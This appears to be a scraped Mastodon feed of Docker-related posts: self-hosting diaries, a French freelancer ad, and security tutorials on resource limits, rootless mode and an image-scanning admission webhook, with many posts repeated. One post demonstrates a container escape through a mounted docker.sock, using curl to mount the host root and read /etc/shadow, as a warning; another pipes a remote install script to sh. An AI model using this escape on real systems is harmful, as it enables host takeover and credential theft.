I really don't want to have to insist that every damn Dockerfile bundles `tini` and sets `ENTRYPOINT`.

github.com

containerd/docs/man/containerd-config.toml.5.md at main · containerd/containerd

An open and reliable container runtime. Contribute to containerd/containerd development by creating an account on GitHub.

@arichtman@eigenmagic.net
Although Podman uses Buildah’s build functionality under the covers to create a container image, the two projects have differences. The major difference between Podman and Buildah is their concept of a container. Podman allows users to create traditional containers and the intent of these containers is to be controlled through the entirety of a container life cycle (pause, checkpoint/restore, etc). While Buildah containers are really created just to allow content to be added to the container image. Each project has a separate internal representation of a container that is not shared. Because of this you cannot see Podman containers from within Buildah or vice versa. However the internal representation of a container image is the same between Buildah and Podman. Given this, any container image that has been created, pulled or modified by one can be seen and used by the other.
ALT text

Although Podman uses Buildah’s build functionality under the covers to create a container image, the two projects have differences. The major difference between Podman and Buildah is their concept of a container. Podman allows users to create traditional containers and the intent of these containers is to be controlled through the entirety of a container life cycle (pause, checkpoint/restore, etc). While Buildah containers are really created just to allow content to be added to the container image. Each project has a separate internal representation of a container that is not shared. Because of this you cannot see Podman containers from within Buildah or vice versa. However the internal representation of a container image is the same between Buildah and Podman. Given this, any container image that has been created, pulled or modified by one can be seen and used by the other.

@kgaut@oisaur.com

Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !

Je fais du développement back et suis expert .

Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.

pour le dev ou la prod.

Formation, atelier, accompagnement sur tous ces sujets.

Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.

linkedin.com/feed/update/urn:l

fr.linkedin.com

#freelance #php #drupal #devops #gitlab #ci #docker #formation | Kevin Gautreau

Une belle mission longue se termine, je vais donc avoir quelques jours par semaine de disponible à partir de fin octobre ! Développeur web backend sénior en indépendant, voici mon terrain de jeu des dernières années : - Développement et architecture PHP & Drupal : migration, performance, développement de modules et contributions open sources. - Automatisation de la chaîne de production d'une application web. - Problématiques CI/CD : étude, conseil, mise en place. - Mise en place de stacks Docker pour le dev et la prod. - Formations, ateliers pour faire monter en compétences vos équipes. J'interviens seul ou intégré à une équipe, depuis mon bureau en Auvergne pour des projets partout dans le monde. Je me déplace volontiers lorsque c'est nécessaire. Si vous avez un projet en tête, n'hésitez pas à me contacter en message privé ou à partager ce post. #freelance #php #drupal #devops #gitlab #ci #docker #formation

@kgaut@oisaur.com

Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !

Je fais du développement back et suis expert .

Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.

pour le dev ou la prod.

Formation, atelier, accompagnement sur tous ces sujets.

Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.

linkedin.com/feed/update/urn:l

fr.linkedin.com

#freelance #php #drupal #devops #gitlab #ci #docker #formation | Kevin Gautreau

Une belle mission longue se termine, je vais donc avoir quelques jours par semaine de disponible à partir de fin octobre ! Développeur web backend sénior en indépendant, voici mon terrain de jeu des dernières années : - Développement et architecture PHP & Drupal : migration, performance, développement de modules et contributions open sources. - Automatisation de la chaîne de production d'une application web. - Problématiques CI/CD : étude, conseil, mise en place. - Mise en place de stacks Docker pour le dev et la prod. - Formations, ateliers pour faire monter en compétences vos équipes. J'interviens seul ou intégré à une équipe, depuis mon bureau en Auvergne pour des projets partout dans le monde. Je me déplace volontiers lorsque c'est nécessaire. Si vous avez un projet en tête, n'hésitez pas à me contacter en message privé ou à partager ce post. #freelance #php #drupal #devops #gitlab #ci #docker #formation

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.

docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container

[1] docs.docker.com/engine/contain
[2] docs.docker.com/reference/comp

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1
6) infosec.exchange/@reynardsec/1

Grumpy Cat
ALT text

Grumpy Cat

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.

docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container

[1] docs.docker.com/engine/contain
[2] docs.docker.com/reference/comp

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1
6) infosec.exchange/@reynardsec/1

Grumpy Cat
ALT text

Grumpy Cat

@mjg@mastodon.phoenixtrap.com
@mjg@mastodon.phoenixtrap.com
@mjg@mastodon.phoenixtrap.com
@mjg@mastodon.phoenixtrap.com
@pandoc@fosstodon.org

Docker images based on Alpine are now available with pandoc 3.8.

Ubuntu images haven't been updated yet, as pandoc-crossref no longer compiles when using the default tools on Ubuntu 24.04 (Noble Numbat). I'm still searching for an acceptable solution for this.

One possible option is to remove pandoc-crossref from the images to avoid being blocked by third-parties.

hub.docker.com/u/pandoc

@reynardsec@infosec.exchange

devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?

ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.

devops1: Fine. If it's "not hard" to implement, we can consider this.

ItSec: Deal.

Note: this mode does have some limitations. You can review them in docs [2].

First, let's check which user the Docker daemon is currently running as.

ps -C dockerd -o pid,user,group,cmd --no-headers

You should see something like:

9250 root     root     /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.

sudo systemctl disable --now docker.service docker.socket

Then install the uid/gid mapping tools. On Ubuntu it's uidmap.

sudo apt update && sudo apt install -y uidmap

Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.

dockerd-rootless-setuptool.sh install

If that command doesn't exist, install the extras package or use the official rootless script.

sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh

The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.

export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc

Enable auto-start for your user session and let services run even after logout ("linger").

systemctl --user enable docker
sudo loginctl enable-linger $(whoami)

Point the CLI at the new context and sanity-check.

docker context use rootless

Once more, check which privileges the Docker daemon is running with:

ps -C dockerd -o pid,user,group,cmd --no-headers

Now you will see something like:

10728 ubuntu   ubuntu   dockerd

And pssst! Podman runs containers in "rootless" mode by default [3].

[1] docs.docker.com/engine/securit
[2] docs.docker.com/engine/securit
[3] documentation.suse.com/en-us/s

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 259 (slow down edition) 🐌​

a blog post that discusses the sense of urgency I felt to learn #Docker (because it will become mandatory for #Ghost)... and how a recent discovery has pushed back my deadline. I can learn slowly, yay!

🔗​: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-259-slow-down-edition/

#MySoCalledSudoLife #CLI

news.elenarossini.com

🏕️ my adventures in self-hosting: day 259 (slow down edition) 🐌

I am no longer in a rush to learn Docker ASAP (insert huge sigh of relief)

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: These k8s security SaaS prices are wild.
devops1: Image scanning, policy engines, "enterprise tiers"... why are we paying so much?

ItSec (walking by): You pay for updates & support, probably, but you can do some of this yourselves with a bit of k8s hacking.

devops0: How, exactly?

Disclaimer: this is a PoC for learning, not a production-ready solution.

Kubernetes can ask an external webhook whether a given image should be allowed via Admission Controller, in this case ImagePolicyWebhook [1]. The webhook receives an ImageReview payload [2], initiates a scan, and returns "allowed: true/false".

We will write a Flask endpoint that invokes Trivy [3] for each image and denies pod creation process if HIGH or CRITICAL vuln appear.

Below is a minimal Flask service.

from flask import Flask, request, jsonify
import subprocess, json, shlex, re

app = Flask(__name__)

def is_valid_image_format(image: str) -> bool:
if not re.fullmatch(r"[A-Za-z0-9/_:.@+-]{1,300}", image):
return False
if image.startswith("-"):
return False
return True


def scan_with_trivy(image: str):
cmd = [
"trivy", "--quiet",
"--severity", "HIGH,CRITICAL",
"image", "--format", "json",
image
]
r = subprocess.run(cmd, capture_output=True, text=True)
try:
data = json.loads(r.stdout or "{}")
results = data.get("Results", [])
vulns = []
for res in results:
for v in res.get("Vulnerabilities", []) or []:
if v.get("Severity") in ("HIGH", "CRITICAL"):
vulns.append(v)
return vulns
except json.JSONDecodeError:
return None

@app.route("/scan", methods=["POST"])
def scan():
body = request.get_json(force=True, silent=True) or {}
containers = body.get("spec", {}).get("containers", [])
if not containers:
return jsonify({
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"status": {"allowed": False, "reason": "No containers provided"}
})

results = []
decision = True
for c in containers:
image = c.get("image", "")
if not is_valid_image_format(image):
results.append({"image": image, "allowed": False, "reason": "Invalid image format"})
decision = False
continue
vulns = scan_with_trivy(shlex.quote(image))
if vulns is None:
results.append({"image": image, "allowed": False, "reason": "Scanner error"})
decision = False
continue
if vulns:
results.append({"image": image, "allowed": False, "reason": "HIGH/CRITICAL vulnerabilities detected"})
decision = False
else:
results.append({"image": image, "allowed": True})

return jsonify({
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"status": {"allowed": decision, "results": results}
})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

Run the service wherever Trivy is available. Tip: warm up the trivy vulns db once so the first request will not timeout.

trivy image alpine:3.22 #warm up 
gunicorn -w 4 -b 0.0.0.0:5000 app:app

Test it with an ImageReview-like request. Replace the and URL and images as you wish/need.

curl -s -X POST http://127.0.0.1:5000/scan -H "Content-Type: application/json" -d '{
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"spec": {
"containers": [
{"image": "alpine:3.22"},
{"image": "nginx:latest"}
]
}
}' | jq .

Tell the API server to use ImagePolicyWebhook. The AdmissionConfiguration points at a kubeconfig for the webhook endpoint (/etc/kubernetes/admission-control-config.yaml).

apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: ImagePolicyWebhook
configuration:
imagePolicy:
kubeConfigFile: /etc/kubernetes/webhook-kubeconfig.yaml
allowTTL: 50
denyTTL: 50
retryBackoff: 500
defaultAllow: false

The webhook kubeconfig targets your scanner's HTTP endpoint (/etc/kubernetes/webhook-kubeconfig.yaml). Edit "server" value for your case.

apiVersion: v1
kind: Config
clusters:
- name: webhook
cluster:
server: http://192.168.108.48:5000/scan
contexts:
- name: webhook
context:
cluster: webhook
user: ""
current-context: webhook

Mount the AdmissionConfiguration and enable the plugin in the API server manifest. Add the following flags and mount the config file; adjust paths and IPs to your environment (kube-apiserver.yaml):

---
apiVersion: v1
[...]
containers:
- command:
- kube-apiserver
[...]
- --admission-control-config-file=/etc/kubernetes/admission-control-config.yaml
- --enable-admission-plugins=NodeRestriction,ImagePolicyWebhook
[...]
volumeMounts:
[...]
- mountPath: /etc/kubernetes/admission-control-config.yaml
name: admission-control-config
readOnly: true
- mountPath: /etc/kubernetes/webhook-kubeconfig.yaml
name: webhook-kubeconfig
readOnly: true
volumes:
[...]
path: /etc/kubernetes/admission-control-config.yaml
type: FileOrCreate
- name: webhook-kubeconfig
hostPath:
path: /etc/kubernetes/webhook-kubeconfig.yaml
type: FileOrCreate

After the API server restarts, the cluster will begin asking app about images during pod creation. A quick check shows an allowed image and a blocked one:

kubectl run ok --image=docker.io/alpine:3.22
pod/ok created

kubectl run nope --image=docker.io/nginx:latest
Error from server (Forbidden): pods "nope" is forbidden: one or more images rejected by webhook backend

That's the whole trick. Kubernetes asks our Flask app. App calls Trivy. If HIGH or CRITICAL vulnerabilities are present, the admission decision is deny, and the pod never starts. It's not fancy and as I wrote before, it's not meant for production, but it illustrates exactly how admission can enforce image hygiene without buying an external SaaS.

[1] kubernetes.io/docs/reference/a
[2] kubernetes.io/docs/reference/a
[3] github.com/aquasecurity/trivy

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@beitmenotyou@social.beitmenotyou.online

Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress

@beitmenotyou@social.beitmenotyou.online

Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] docs.docker.com/reference/cli/
[2] docs.docker.com/engine/api/

Other grumpy stories:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@beitmenotyou@social.beitmenotyou.online

Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress

@bmitch@fosstodon.org
@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 249 (mind of a #newbie edition) 🧠

a blog post about what it's like for newbies to self-host... read till the end to find out what caused my OVH VPS fail (a facepalm moment for sure):

🔗​: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-249-mind-of-a-newbie-edition/

I'll probably take a break from self-hosting and reading about #Docker (my Everest) for the rest of the weekend... so I can come back to it on Monday with my batteries fully recharged 😅​

#MySoCalledSudoLife

news.elenarossini.com

🏕️ my adventures in self-hosting: day 249 (mind of a newbie edition) 🧠

a PSA about how self-hosting newbies think differently than experienced devs. Hoping to bridge the chasm with this blog series

@bmitch@fosstodon.org
@elena@aseachange.com

Me right now: studying the ins and outs of #Docker, ports exposure, firewalls and #TLS.

I’ve got a brand new VPS (on Hetzner) that for now only has #Fail2Ban on it.

Let’s see when I’ll feel confident (reckless?) enough to install #Docker on it 😅

This time I learned my lesson and I’m only paying month-by-month. And I’ve got many thoughts about what went down yesterday that I may share in a blog post soon.

Thanks for all your supportive messages ❤️ I hope my public fumbles are useful to fellow #selfhosting newbies 🥲

#MySoCalledSudoLife #SudoMaImparo

An animated GIF from the Simpsons showing Homer sitting down at a desk and flipping through a book with a look of effort and concentration on his face
ALT text

An animated GIF from the Simpsons showing Homer sitting down at a desk and flipping through a book with a look of effort and concentration on his face

@_elena@mastodon.social

Dear Fedi friends,

I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn .

I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).

The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.

Please beware of ! They terminated my VPS without any notice: aseachange.com/@elena/statuses 😵‍💫

aseachange.com

Post by Elena Rossini on GoToSocial ⁂, @elena@aseachange.com

​ MAJOR Plot twist! ​ I'm sure you're having a better morning than me because I was greeted with an email from #OVH (the VPS provider) that started with "Hello Mr. Rossini" and informed me that the VPS was stopped because they suspected a hack - and it will be pe...

@_elena@mastodon.social

Dear Fedi friends,

I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn .

I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).

The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.

Please beware of ! They terminated my VPS without any notice: aseachange.com/@elena/statuses 😵‍💫

aseachange.com

Post by Elena Rossini on GoToSocial ⁂, @elena@aseachange.com

​ MAJOR Plot twist! ​ I'm sure you're having a better morning than me because I was greeted with an email from #OVH (the VPS provider) that started with "Hello Mr. Rossini" and informed me that the VPS was stopped because they suspected a hack - and it will be pe...

@securestep9@infosec.exchange
@securestep9@infosec.exchange
@elena@aseachange.com

Dear Fedi friends,

Oh happy day!

My #Docker woes have gone away since I realized I can use Docker exclusively via CLI (and not GUI - I thought that was the default). When I couldn’t connect Docker Desktop to my VPS yesterday I was feeling so down. But yay Docker CLI here I come.

Special thanks to everyone who offered advice yesterday, ESPECIALLY @antoine_ali 🏆

I have a feeling you’ll get a laugh out of my next blog post detailing my #selfhosting attempts - because my perception of how Docker operates was all warped.

I must have exposed to the outside my current Docker instance with yesterday’s inane tweaks to access the GUI, so I will uninstall and re-install Docker first thing today… and up the challenge by attempting to do a fresh Ghost installation on it.

I truly know nothing! But I know more than yesterday, that’s for sure. 🤗

Thank you for all your advice (and patience!) 🙏

#MySoCalledSudoLife

@elena@aseachange.com

Anatomy of my day:
😊 7:30am: YAY I can start playing around with my new VPS (no.3) while my little one sleeps
🥳 9:00am: YAY I successfully installed Fail2Ban and #Docker
😳​ 10:00am: why can't I connect my VPS to Docker Desktop? Time to call it a day.
👭​ 11:00am: take my little one to the park, run into friends there, the day is looking up
🥴​ 1:00pm: while my little one is being looked after by my parents, I re-attempt to connect my VPS to Docker. No go. I try to install #Portainer thinking it would make the task easier, but I can't seem to upload the right certificates to connect.
😩​ 1:00pm - 4:00pm: tackle other tasks (inbox zero, errands), play #LEGO with my little one... with one persistent thought on my mind: why is setting up Docker so hard?!? I thought it would be easy.
🙂​ now: planning to take my little one bowling for the first time. A superb way to end the day on a good note (hopefully)

🌄​ tomorrow is another day. you win some, you lose some. Wishing you all a lovely afternoon/evening wherever you are​

P.S.: For context, ICYMI, I wrote about why I absolutely need to learn Docker ASAP here: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition

news.elenarossini.com

🏕️ my adventures in self-hosting: day 244 (Everest edition) ⛰️

I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation

@elena@aseachange.com

Dear Fedi friends,

Sometimes it's good to know when you need to call it a day. Today I ended my #sudo exploits at 10:00am... I'm mentally exhausted already... but happy about the progress I made.

I started tinkering with my new VPS at 7:30am and managed the following tasks:

- installed #fail2ban
- installed #Docker and checked if it was running successfully with their "hello world" method (it does)
- enabled remote access changing the listening port
- secured the connection with TLS

I wasn't able to create a new Docker context on Docker Desktop to point to my VPS... I ran into error messages about having to include certificates (with the right path)... so I decided to call it a day.

I wanted to end my Day 1 of Docker explorations on a good note.

I plan on writing about this on my blog later today so I can refer back to the steps later... when I actually install Docker on my VPS running Ghost.

Onwards and upwards (it's very apt that "sudo" in Italian means "I sweat" LOOOOL)

#MySoCalledSudoLife #selfhosting #newbie

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 244 (Everest edition) ⛰️

a blog post that details some of the highs and lows I have been experiencing lately in my self-hosting adventures. I have a major challenge ahead - learning #Docker - in order to take advantage of #Ghost x #ActivityPub federation. It's my new Everest 🥲

🔗​:
https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition/

#MySoCalledSudoLife

news.elenarossini.com

🏕️ my adventures in self-hosting: day 244 (Everest edition) ⛰️

I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 244 (Everest edition) ⛰️

a blog post that details some of the highs and lows I have been experiencing lately in my self-hosting adventures. I have a major challenge ahead - learning #Docker - in order to take advantage of #Ghost x #ActivityPub federation. It's my new Everest 🥲

🔗​:
https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition/

#MySoCalledSudoLife

news.elenarossini.com

🏕️ my adventures in self-hosting: day 244 (Everest edition) ⛰️

I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation

@nogajun@mastodon.social
@matthias@me.klein.ruhr
@elena@aseachange.com

Hello Fedi friends,

Please stage an intervention. This is a special “my adventures in self-hosting - 🤡 edition” toot.

So I need to learn #Docker in order to move my #Ghost blog there - possibly - as it’s the only way to let it federate (per the official Ghost.org documentation).

If you’ve followed me here for a while, you might have caught a running joke “please don’t tempt me to get a THIRD #VPS”.

This is my mayday, begging you: “please talk me out of getting a third VPS.”

I was happily doing online research wondering if I could install Docker on my #RaspberryPi5. Sure, it’s possible. Good to know.

Then things escalated when I started wondering: “hmmm how much would it cost to get a new VPS for Docker testing purposes?”

I checked out the website of my current VPS provider and noticed that you could get a basic VPS and pick an application that would come pre-installed. Docker is in the list of applications with a thumbs up next to it. Oh and I have a $20 credit after a commission. Awww the temptation!

I’m currently with my extended family in the middle of nowhere, with no WiFi in the house, one bar of 5G in most places (at best) and a laptop that refuses to connect to my phone’s hotspot. I’m typing this on my iPad (which is cooperating, vis-à-vis tethering). It’s my 12th day in this location, with 4 days to go before I return to civilization. I’m easily tempted because I’m going a little batty.

Please please please tell me that it’s better to learn Docker on my Pi 5. It’ll be waiting for me at home in a few days 😅

#MySoCalledSudoLife

@arichtman@eigenmagic.net

Is it even possible to have a Dockerfile `ENV` default to a build argument?

code warning:

```
ARG DOCKER__PACKAGE_AUTH_TOKEN

ARG CI_JOB_TOKEN
ENV CI_JOB_TOKEN=${CI_JOB_TOKEN}

ENV DOCKER__PACKAGE_AUTH_TOKEN=${CI_JOB_TOKEN:-${DOCKER__PACKAGE_AUTH_TOKEN}}
```
ALT text

code warning: ``` ARG DOCKER__PACKAGE_AUTH_TOKEN ARG CI_JOB_TOKEN ENV CI_JOB_TOKEN=${CI_JOB_TOKEN} ENV DOCKER__PACKAGE_AUTH_TOKEN=${CI_JOB_TOKEN:-${DOCKER__PACKAGE_AUTH_TOKEN}} ```

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

docs.ghost.org

How To Update Ghost - Ghost Developer Docs

Learn how to update your self-hosted Ghost install to the latest version

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

